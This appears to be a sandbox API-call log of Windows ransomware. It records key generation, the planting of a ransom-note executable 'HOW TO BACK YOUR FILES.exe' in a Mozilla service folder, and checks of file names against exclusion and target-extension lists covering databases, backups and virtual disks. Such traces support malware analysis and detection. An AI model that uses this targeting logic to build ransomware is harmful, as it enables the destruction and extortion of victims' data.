	[0052.626] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0052.626] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.626] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1940, lpName=0x0) returned 0x118
	[0052.628] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1940) returned 0x100000
	[0052.629] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0052.630] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0052.630] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.630] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0052.630] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0052.630] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0052.630] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0052.630] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0052.630] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0052.630] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0052.630] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0052.630] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0052.630] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0052.630] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0052.630] CloseHandle (hObject=0x118) returned 1
	[0052.630] CloseHandle (hObject=0x15c) returned 1
	[0052.630] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0052.630] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0052.630] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0052.631] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376e9070, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x376e9070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.631] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.631] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376e9070, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x376e9070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0052.631] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.631] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0052.631] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Mozilla Maintenance Service", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Mozilla Maintenance Service") returned="C:\\Program Files (x86)\\Mozilla Maintenance Service"
	[0052.631] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0052.631] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0052.631] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Maintenance Service") returned 50
	[0052.631] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Maintenance Service" | out: lpString1="C:\\Program Files (x86)\\Mozilla Maintenance Service") returned="C:\\Program Files (x86)\\Mozilla Maintenance Service"
	[0052.631] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.631] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.637] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.637] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3770f1d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3770f1d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.637] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.637] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.637] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.637] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3770f1d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3770f1d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.637] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.637] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.637] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.637] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.637] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3770f1d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3770f1d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.637] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.637] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf8093e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8093e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1d270, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="maintenanceservice.exe", cAlternateFileName="MAINTE~1.EXE")) returned 1
	[0052.637] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.637] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="Apollon865.txt.exe") returned 1
	[0052.637] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".") returned 1
	[0052.637] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="..") returned 1
	[0052.637] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="windows") returned -1
	[0052.637] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="bootmgr") returned 1
	[0052.637] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="temp") returned -1
	[0052.638] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="pagefile.sys") returned -1
	[0052.638] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="boot") returned 1
	[0052.638] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="ids.txt") returned 1
	[0052.638] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="ntuser.dat") returned -1
	[0052.638] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="perflogs") returned -1
	[0052.638] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2="MSBuild") returned -1
	[0052.638] lstrlenW (lpString="maintenanceservice.exe") returned 22
	[0052.638] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Maintenance Service\\*") returned 52
	[0052.638] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="maintenanceservice.exe" | out: lpString1="maintenanceservice.exe") returned="maintenanceservice.exe"
	[0052.638] lstrlenW (lpString="maintenanceservice.exe") returned 22
	[0052.638] lstrlenW (lpString="Apollon865") returned 10
	[0052.638] lstrcmpiW (lpString1="ervice.exe", lpString2="Apollon865") returned 1
	[0052.638] lstrlenW (lpString=".dll") returned 4
	[0052.638] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".dll") returned 1
	[0052.638] lstrlenW (lpString=".lnk") returned 4
	[0052.638] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".lnk") returned 1
	[0052.638] lstrlenW (lpString=".ini") returned 4
	[0052.638] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".ini") returned 1
	[0052.638] lstrlenW (lpString=".sys") returned 4
	[0052.638] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".sys") returned 1
	[0052.638] lstrlenW (lpString="maintenanceservice.exe") returned 22
	[0052.638] lstrlenW (lpString="bak") returned 3
	[0052.638] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1
	[0052.638] lstrlenW (lpString="ba_") returned 3
	[0052.638] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1
	[0052.638] lstrlenW (lpString="dbb") returned 3
	[0052.638] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1
	[0052.638] lstrlenW (lpString="vmdk") returned 4
	[0052.638] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1
	[0052.638] lstrlenW (lpString="rar") returned 3
	[0052.638] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1
	[0052.638] lstrlenW (lpString="zip") returned 3
	[0052.638] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1
	[0052.638] lstrlenW (lpString="tgz") returned 3
	[0052.639] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1
	[0052.639] lstrlenW (lpString="vbox") returned 4
	[0052.639] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1
	[0052.639] lstrlenW (lpString="vdi") returned 3
	[0052.639] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1
	[0052.639] lstrlenW (lpString="vhd") returned 3
	[0052.639] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1
	[0052.639] lstrlenW (lpString="vhdx") returned 4
	[0052.639] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1
	[0052.639] lstrlenW (lpString="avhd") returned 4
	[0052.639] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1
	[0052.639] lstrlenW (lpString="db") returned 2
	[0052.639] lstrcmpiW (lpString1="xe", lpString2="db") returned 1
	[0052.639] lstrlenW (lpString="db2") returned 3
	[0052.639] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1
	[0052.639] lstrlenW (lpString="db3") returned 3
	[0052.639] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1
	[0052.639] lstrlenW (lpString="dbf") returned 3
	[0052.639] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1
	[0052.639] lstrlenW (lpString="mdf") returned 3
	[0052.639] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1
	[0052.639] lstrlenW (lpString="mdb") returned 3
	[0052.639] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1
	[0052.639] lstrlenW (lpString="sql") returned 3
	[0052.639] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1
	[0052.639] lstrlenW (lpString="sqlite") returned 6
	[0052.639] lstrcmpiW (lpString1="ce.exe", lpString2="sqlite") returned -1
	[0052.639] lstrlenW (lpString="sqlite3") returned 7
	[0052.639] lstrcmpiW (lpString1="ice.exe", lpString2="sqlite3") returned -1
	[0052.639] lstrlenW (lpString="sqlitedb") returned 8
	[0052.639] lstrcmpiW (lpString1="vice.exe", lpString2="sqlitedb") returned 1
	[0052.639] lstrlenW (lpString="xml") returned 3
	[0052.639] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1
	[0052.639] lstrlenW (lpString="$er") returned 3
	[0052.639] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1
	[0052.639] lstrlenW (lpString="4dd") returned 3
	[0052.640] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1
	[0052.640] lstrlenW (lpString="4dl") returned 3
	[0052.640] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1
	[0052.640] lstrlenW (lpString="^^^") returned 3
	[0052.640] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1
	[0052.640] lstrlenW (lpString="abs") returned 3
	[0052.640] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1
	[0052.640] lstrlenW (lpString="abx") returned 3
	[0052.640] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1
	[0052.640] lstrlenW (lpString="accdb") returned 5
	[0052.640] lstrcmpiW (lpString1="e.exe", lpString2="accdb") returned 1
	[0052.640] lstrlenW (lpString="accdc") returned 5
	[0052.640] lstrcmpiW (lpString1="e.exe", lpString2="accdc") returned 1
	[0052.640] lstrlenW (lpString="accde") returned 5
	[0052.640] lstrcmpiW (lpString1="e.exe", lpString2="accde") returned 1
	[0052.640] lstrlenW (lpString="accdr") returned 5
	[0052.640] lstrcmpiW (lpString1="e.exe", lpString2="accdr") returned 1
	[0052.640] lstrlenW (lpString="accdt") returned 5
	[0052.640] lstrcmpiW (lpString1="e.exe", lpString2="accdt") returned 1
	[0052.640] lstrlenW (lpString="accdw") returned 5
	[0052.640] lstrcmpiW (lpString1="e.exe", lpString2="accdw") returned 1
	[0052.640] lstrlenW (lpString="accft") returned 5
	[0052.640] lstrcmpiW (lpString1="e.exe", lpString2="accft") returned 1
	[0052.640] lstrlenW (lpString="adb") returned 3
	[0052.640] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0052.640] lstrlenW (lpString="adb") returned 3
	[0052.640] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0052.640] lstrlenW (lpString="ade") returned 3
	[0052.640] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1
	[0052.640] lstrlenW (lpString="adf") returned 3
	[0052.640] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1
	[0052.640] lstrlenW (lpString="adn") returned 3
	[0052.640] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1
	[0052.640] lstrlenW (lpString="adp") returned 3
	[0052.640] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1
	[0052.640] lstrlenW (lpString="alf") returned 3
	[0052.641] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1
	[0052.641] lstrlenW (lpString="ask") returned 3
	[0052.641] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1
	[0052.641] lstrlenW (lpString="btr") returned 3
	[0052.641] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1
	[0052.641] lstrlenW (lpString="cat") returned 3
	[0052.641] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1
	[0052.641] lstrlenW (lpString="cdb") returned 3
	[0052.641] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1
	[0052.641] lstrlenW (lpString="ckp") returned 3
	[0052.641] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1
	[0052.641] lstrlenW (lpString="cma") returned 3
	[0052.641] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1
	[0052.641] lstrlenW (lpString="cpd") returned 3
	[0052.641] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1
	[0052.641] lstrlenW (lpString="dacpac") returned 6
	[0052.641] lstrcmpiW (lpString1="ce.exe", lpString2="dacpac") returned -1
	[0052.641] lstrlenW (lpString="dad") returned 3
	[0052.641] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1
	[0052.641] lstrlenW (lpString="dadiagrams") returned 10
	[0052.641] lstrcmpiW (lpString1="ervice.exe", lpString2="dadiagrams") returned 1
	[0052.641] lstrlenW (lpString="daschema") returned 8
	[0052.641] lstrcmpiW (lpString1="vice.exe", lpString2="daschema") returned 1
	[0052.641] lstrlenW (lpString="db-journal") returned 10
	[0052.641] lstrcmpiW (lpString1="ervice.exe", lpString2="db-journal") returned 1
	[0052.641] lstrlenW (lpString="db-shm") returned 6
	[0052.641] lstrcmpiW (lpString1="ce.exe", lpString2="db-shm") returned -1
	[0052.641] lstrlenW (lpString="db-wal") returned 6
	[0052.641] lstrcmpiW (lpString1="ce.exe", lpString2="db-wal") returned -1
	[0052.641] lstrlenW (lpString="dbc") returned 3
	[0052.641] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1
	[0052.641] lstrlenW (lpString="dbs") returned 3
	[0052.641] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1
	[0052.641] lstrlenW (lpString="dbt") returned 3
	[0052.642] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1
	[0052.642] lstrlenW (lpString="dbv") returned 3
	[0052.642] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1
	[0052.642] lstrlenW (lpString="dbx") returned 3
	[0052.642] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1
	[0052.642] lstrlenW (lpString="dcb") returned 3
	[0052.642] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1
	[0052.642] lstrlenW (lpString="dct") returned 3
	[0052.642] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1
	[0052.642] lstrlenW (lpString="dcx") returned 3
	[0052.642] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1
	[0052.642] lstrlenW (lpString="ddl") returned 3
	[0052.642] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1
	[0052.642] lstrlenW (lpString="dlis") returned 4
	[0052.642] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1
	[0052.642] lstrlenW (lpString="dp1") returned 3
	[0052.642] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1
	[0052.642] lstrlenW (lpString="dqy") returned 3
	[0052.642] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1
	[0052.642] lstrlenW (lpString="dsk") returned 3
	[0052.642] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1
	[0052.642] lstrlenW (lpString="dsn") returned 3
	[0052.642] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1
	[0052.642] lstrlenW (lpString="dtsx") returned 4
	[0052.642] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1
	[0052.642] lstrlenW (lpString="dxl") returned 3
	[0052.642] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1
	[0052.642] lstrlenW (lpString="eco") returned 3
	[0052.642] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1
	[0052.642] lstrlenW (lpString="ecx") returned 3
	[0052.642] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1
	[0052.642] lstrlenW (lpString="edb") returned 3
	[0052.642] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1
	[0052.642] lstrlenW (lpString="epim") returned 4
	[0052.642] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1
	[0052.643] lstrlenW (lpString="fcd") returned 3
	[0052.643] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1
	[0052.643] lstrlenW (lpString="fdb") returned 3
	[0052.643] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1
	[0052.643] lstrlenW (lpString="fic") returned 3
	[0052.643] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1
	[0052.643] lstrlenW (lpString="flexolibrary") returned 12
	[0052.643] lstrcmpiW (lpString1="eservice.exe", lpString2="flexolibrary") returned -1
	[0052.643] lstrlenW (lpString="fm5") returned 3
	[0052.643] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1
	[0052.643] lstrlenW (lpString="fmp") returned 3
	[0052.643] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1
	[0052.643] lstrlenW (lpString="fmp12") returned 5
	[0052.643] lstrcmpiW (lpString1="e.exe", lpString2="fmp12") returned -1
	[0052.643] lstrlenW (lpString="fmpsl") returned 5
	[0052.643] lstrcmpiW (lpString1="e.exe", lpString2="fmpsl") returned -1
	[0052.643] lstrlenW (lpString="fol") returned 3
	[0052.643] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1
	[0052.643] lstrlenW (lpString="fp3") returned 3
	[0052.643] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1
	[0052.643] lstrlenW (lpString="fp4") returned 3
	[0052.643] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1
	[0052.643] lstrlenW (lpString="fp5") returned 3
	[0052.643] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1
	[0052.643] lstrlenW (lpString="fp7") returned 3
	[0052.643] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1
	[0052.643] lstrlenW (lpString="fpt") returned 3
	[0052.643] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1
	[0052.643] lstrlenW (lpString="frm") returned 3
	[0052.643] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1
	[0052.643] lstrlenW (lpString="gdb") returned 3
	[0052.643] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0052.643] lstrlenW (lpString="gdb") returned 3
	[0052.643] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0052.643] lstrlenW (lpString="grdb") returned 4
	[0052.644] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1
	[0052.644] lstrlenW (lpString="gwi") returned 3
	[0052.644] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1
	[0052.644] lstrlenW (lpString="hdb") returned 3
	[0052.644] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1
	[0052.644] lstrlenW (lpString="his") returned 3
	[0052.644] lstrcmpiW (lpString1="exe", lpString2="his") returned -1
	[0052.644] lstrlenW (lpString="ib") returned 2
	[0052.644] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1
	[0052.644] lstrlenW (lpString="idb") returned 3
	[0052.644] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1
	[0052.644] lstrlenW (lpString="ihx") returned 3
	[0052.644] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1
	[0052.644] lstrlenW (lpString="itdb") returned 4
	[0052.644] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1
	[0052.644] lstrlenW (lpString="itw") returned 3
	[0052.644] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1
	[0052.644] lstrlenW (lpString="jet") returned 3
	[0052.644] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1
	[0052.644] lstrlenW (lpString="jtx") returned 3
	[0052.644] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1
	[0052.644] lstrlenW (lpString="kdb") returned 3
	[0052.644] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1
	[0052.644] lstrlenW (lpString="kexi") returned 4
	[0052.644] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1
	[0052.644] lstrlenW (lpString="kexic") returned 5
	[0052.644] lstrcmpiW (lpString1="e.exe", lpString2="kexic") returned -1
	[0052.644] lstrlenW (lpString="kexis") returned 5
	[0052.644] lstrcmpiW (lpString1="e.exe", lpString2="kexis") returned -1
	[0052.644] lstrlenW (lpString="lgc") returned 3
	[0052.644] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1
	[0052.644] lstrlenW (lpString="lwx") returned 3
	[0052.644] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1
	[0052.644] lstrlenW (lpString="maf") returned 3
	[0052.644] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1
	[0052.644] lstrlenW (lpString="maq") returned 3
	[0052.645] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1
	[0052.645] lstrlenW (lpString="mar") returned 3
	[0052.645] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1
	[0052.645] lstrlenW (lpString="marshal") returned 7
	[0052.645] lstrcmpiW (lpString1="ice.exe", lpString2="marshal") returned -1
	[0052.645] lstrlenW (lpString="mas") returned 3
	[0052.645] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1
	[0052.645] lstrlenW (lpString="mav") returned 3
	[0052.645] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1
	[0052.645] lstrlenW (lpString="maw") returned 3
	[0052.645] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1
	[0052.645] lstrlenW (lpString="mdbhtml") returned 7
	[0052.645] lstrcmpiW (lpString1="ice.exe", lpString2="mdbhtml") returned -1
	[0052.645] lstrlenW (lpString="mdn") returned 3
	[0052.645] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1
	[0052.645] lstrlenW (lpString="mdt") returned 3
	[0052.645] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1
	[0052.645] lstrlenW (lpString="mfd") returned 3
	[0052.645] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1
	[0052.645] lstrlenW (lpString="mpd") returned 3
	[0052.645] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1
	[0052.645] lstrlenW (lpString="mrg") returned 3
	[0052.645] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1
	[0052.645] lstrlenW (lpString="mud") returned 3
	[0052.645] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1
	[0052.645] lstrlenW (lpString="mwb") returned 3
	[0052.645] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1
	[0052.645] lstrlenW (lpString="myd") returned 3
	[0052.645] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1
	[0052.645] lstrlenW (lpString="ndf") returned 3
	[0052.645] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1
	[0052.645] lstrlenW (lpString="nnt") returned 3
	[0052.645] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1
	[0052.645] lstrlenW (lpString="nrmlib") returned 6
	[0052.646] lstrcmpiW (lpString1="ce.exe", lpString2="nrmlib") returned -1
	[0052.646] lstrlenW (lpString="ns2") returned 3
	[0052.646] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1
	[0052.646] lstrlenW (lpString="ns3") returned 3
	[0052.646] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1
	[0052.646] lstrlenW (lpString="ns4") returned 3
	[0052.646] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1
	[0052.646] lstrlenW (lpString="nsf") returned 3
	[0052.646] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1
	[0052.646] lstrlenW (lpString="nv") returned 2
	[0052.646] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1
	[0052.646] lstrlenW (lpString="nv2") returned 3
	[0052.646] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1
	[0052.646] lstrlenW (lpString="nwdb") returned 4
	[0052.646] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1
	[0052.646] lstrlenW (lpString="nyf") returned 3
